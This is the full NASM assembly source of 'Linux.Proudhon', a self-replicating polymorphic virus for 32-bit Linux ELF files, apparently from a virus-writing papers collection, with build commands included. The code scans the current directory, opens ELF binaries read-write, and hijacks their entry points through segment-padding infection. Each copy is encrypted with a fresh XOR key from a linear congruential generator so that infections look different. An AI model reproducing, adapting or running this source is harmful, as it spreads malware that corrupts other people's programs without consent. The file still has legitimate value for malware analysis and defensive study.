VXUG-Papers/Linux.Proudhon.i386.asm

396 lines
9.3 KiB
NASM

;####################################
;## A 32 bit Polymorphic ELF virus ##
;## By S01den ##
;####################################
; .____ .__ ________ ________ __________ .___.__
; | | |__| ____ \_____ \ \_____ \ \______ \_______ ____ __ __ __| _/| |__ ____ ____
; | | | |/ \ _(__ < / ____/ | ___/\_ __ \/ _ \| | \/ __ | | | \ / _ \ / \
; | |___| | | \/ \/ \ | | | | \( <_> ) | / /_/ | | Y ( <_> ) | \
; |_______ \__|___| /______ /\_______ \ /\ |____| |__| \____/|____/\____ | |___| /\____/|___| /
; \/ \/ \/ \/ \/ \/ \/ \/
; Infection through segment padding infection + polymorphism. Made with love by S01den
; Can only infect binary with an executable stack, because polymorphism routine operates on the stakc...
; The encryption is just a simple xor, with a random key generated with a Linear Congruential Generator (LCG) for every new infection.
;#################################### USEFUL LINKS ####################################
;# http://ivanlef0u.fr/repo/madchat/vxdevl/vxsrc/Linux/Linux.Cyneox/Linux.Cyneox.asm #
;# http://ivanlef0u.fr/repo/madchat/vxdevl/vxsrc/Linux/Linux.Binom/Linux.Binom.asm #
;# http://shell-storm.org/shellcode/files/syscalls.html #
;######################################################################################
;nasm -f elf32 proudhon.asm && ld -m elf_i386 proudhon.o -o proudhon
;---------------------------------- CUT HERE ----------------------------------
; thoses variables concern the virus body, not the decipher loop
%define VIRSIZE 803
%define SIZE_DECIPHER 0x35
%define DELTA_CODE 0x2f1
%define RET_OEP VIRSIZE+SIZE_DECIPHER+3
; variables for the linear congruential generator (to generate a random key)
; same as C++11's minstd_rand
%define a_lcg 48271
%define modulus_lcg 0x7fffffff
section .text
global _start
_start:
mov ecx, VIRSIZE
add ecx, 0x3f ; SIZE_DECIPHER+9
loop:
call get_eip
sub eax, 0xd
mov esi, eax
mov al, byte [esi+ecx-1]
cmp ecx, 0x352 ; because the code to jump into the OEP have to be plain
jae set_byte
cmp ecx, SIZE_DECIPHER ; because this routine and get_eip have to be plain
jbe set_byte
xor al ,0x00
set_byte:
mov byte [esp+ecx-1], al
dec ecx
jnz loop
add esp, SIZE_DECIPHER
jmp esp
get_eip:
mov eax, [esp]
ret
vx:
add esp, VIRSIZE
add esp, SIZE_DECIPHER
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov edx, VIRSIZE
push edx ; push the len of the virus on the stack
add esp, 0x20
getFiles:
mov eax,183 ; pwd
mov ebx,esp
mov ecx,128
int 0x80
mov eax, 5 ; open
mov ecx, 0
mov edx, 0
int 0x80
cmp eax, 0
jl exit
mov ebx, eax ; getdents
mov eax, 141
mov edx, 1024
push esp
mov ecx, [esp] ; a little trick to save a spot on the stack
int 0x80
mov eax, 6 ; close
int 0x80
mov esp, ecx
xor edi, edi
xor ecx, ecx
xor ebx, ebx
mov esi, edx
xor edx, edx
parse_dir: ; a dump trick to get filenames from the previous getdents
inc esp
xor eax, eax
cmp byte [esp], 0x00
jne not_zero
cmp ecx, 2 ; if there are more than two successive printable bytes followed by a null byte, we consider the string a filename
ja infect ; so we try to infect it.
not_zero:
mov bl, byte [esp]
cmp bl, 0x20 ; check if the byte is printable
jbe not_filename
cmp bl, 0x7e
jae not_filename
inc ecx
keep_parsing:
inc edi
cmp edi, 0x150
jae exit
jmp parse_dir
not_filename:
xor ebx, ebx
xor ecx, ecx
jmp keep_parsing
infect:
mov ebx, ecx
sub esp, ecx
setFileName:
mov eax, 5 ; open
mov ebx, esp
push ebp
mov ebp, ecx
mov ecx, 2 ; O_RW
xor edx, edx
int 0x80
cmp eax, 0
jl restore_esp
push eax
push eax
stat:
; to get the length of the file to infect
mov eax,106 ; SYS_STAT
sub esp,64
mov ecx,esp
int 0x80
mov edx,[esp+20] ; edx = len of file to infect
add esp,64
pop ebx
push edx
add esp, 0x400
mov eax, 3 ; read
mov ecx, esp ; the stack now contains the whole content of the file we try to infect
int 0x80
cmp eax, 0
jl parse_dir
parse_file:
push edx
push edx
push edx
add esp, 0xc
get_magic:
cmp dword [esp], 0x464c457f ; check if the file is an ELF
je get_signature
sub esp, 0x3f4
call close
call clean
jmp parse_dir
get_signature:
xor ecx, ecx
mov cx, word [esp+0x18] ; get e_phnum "Contains the number of entries in the program header table. "
mov eax, dword [esp+0x1C] ; get e_phoff "Points to the start of the program header table." (which contains the segments infos)
; for segment padding infection, we look at the space between the text and the data segment
mov ecx,[esp+eax+0x20*3+8] ; get data vaddr
mov ebx,[esp+eax+0x20*2+16] ; get text size
mov eax,[esp+eax+0x20*2+8] ; get text vaddr
add ebx, eax ; ebx = text.vaddr+text.filesz
sub ecx,ebx ; data.p_vaddr - (text.p_filesz + text.p_vaddr)
mov eax,VIRSIZE
cmp eax, ecx
ja no_room
mov eax,[esp+0x18] ;get entry point
push eax
add ebx, 15
mov eax, dword [esp+0x1C+4]
mov eax,[esp+eax+0x20*2+8+4]
mov [esp+0x18+4], ebx ; write the new EP (new entrypoint = text.p_filesz + text.p_vaddr)
sub ebx, eax ; get the offset of the new EP
mov eax, ebx
push eax
add esp, eax
mov esi, eax
cmp dword [esp+7], 0x323b900 ; check if the bytes at the entry point are the same as in every file infected (0x323b900 = mov ecx,VIRSIZE). It's kind of a signature.
je already_infected
; we put on the stack the code to return to the OEP
mov byte [esp], 0xbd ; -
sub esp, eax ; | - Get the OEP from the stack and put it into ECX
pop ebx ; | |
pop ecx ; | |
push ebx ; | |
add esp, eax ; | |
sub esp, 4 ; | -
mov [esp+1], ecx ; - mov ebp, OEP
mov word [esp+5],0xe5ff ; jmp ebp
writeVirus:
;####### insert the code to restore the OEP #######
xor edx, edx
mov ebx, 3
mov ecx, eax
mov eax, RET_OEP
add ecx, eax
mov eax, 19 ; lseek
int 0x80
mov ecx, esp
mov eax, 4 ; write
mov edx, 7
int 0x80
;####### write the new EP #######
xor edx, edx
mov ecx, 0x18
mov eax, 19
int 0x80
add esp, 8
sub esp, esi
mov ecx, esp
add ecx, 0x18
mov edx, 4
mov eax, 4
int 0x80
;####### write the virus #######
mov ebx, 3
xor edx, edx
mov ecx, esi
mov eax, 19
int 0x80
call get_eip
mov bl, byte [eax-0x1e2] ; get the current key
push eax
xor eax, eax
mov al, bl
; Linear Congruential Generator (I use this algorithm because it's an easy way to generate entropy)
lcg:
inc al
inc al
mov ecx, a_lcg
mul eax
xor edx, edx
mov ebx, modulus_lcg
div ebx
pop eax
mov byte [eax-0x1e2], dl
; edx now contains the remainder of the operation (X_n+1 = (aX_n+c) % modulus), so edx is the new key
call clean
get_decipher: ; get the decipher routine (which contains the new key)
call get_eip
sub eax, 0x236
mov cl, byte [eax+ebx]
mov byte [esp+ebx], cl
inc ebx
cmp ebx, SIZE_DECIPHER
jne get_decipher
call clean
jmp getVirus
write_vx_code:
call clean
mov bl, byte [esp+0x24] ; get the key
mov edx, VIRSIZE
encrypt: ; encrypt the virus body with the new key
mov cl, byte [esp+SIZE_DECIPHER+eax]
xor ecx, ebx
mov byte [esp+SIZE_DECIPHER+eax], cl
inc eax
cmp eax, edx
jne encrypt
mov ecx, esp
mov ebx, 3
mov edx, VIRSIZE
add edx, SIZE_DECIPHER
mov eax, 4
int 0x80
sub eax, SIZE_DECIPHER
cmp eax, VIRSIZE
jb exit
ok_write:
sub esp, 0x3f0
call close
call clean
jmp parse_dir
no_room:
sub esp, 0x3ee ; to go back into the getdents content
call close
call clean
jmp parse_dir
already_infected:
sub esp, 0xa55 ; to go back into the getdents content
call close
call clean
jmp parse_dir
exit:
call close
call payload
call clean
call get_eip
add eax, 0x7a ; go to the restore OEP code
jmp eax
clean:
xor ecx, ecx
xor ebx, ebx
xor eax, eax
xor edx, edx
ret
close:
mov eax, 6
int 0x80
ret
payload: ; just print a "hey"
push 0
push 0x796568
mov ecx, esp
mov eax, 4
mov ebx, 1
mov edx, 4
int 0x80
pop ecx
pop edx
call clean
ret
restore_esp:
add esp, ebp
pop ebp
jmp parse_dir
getVirus: ; a simple method I found which permits to get the whole virus code thanks to the current EIP
call get_eip
sub eax, DELTA_CODE
mov cl, byte [eax+ebx]
mov byte [esp+SIZE_DECIPHER+ebx], cl
inc ebx
cmp ebx, VIRSIZE
jne getVirus
call clean
jmp write_vx_code
;--------------------------------------------------------------------------------------------------------------------------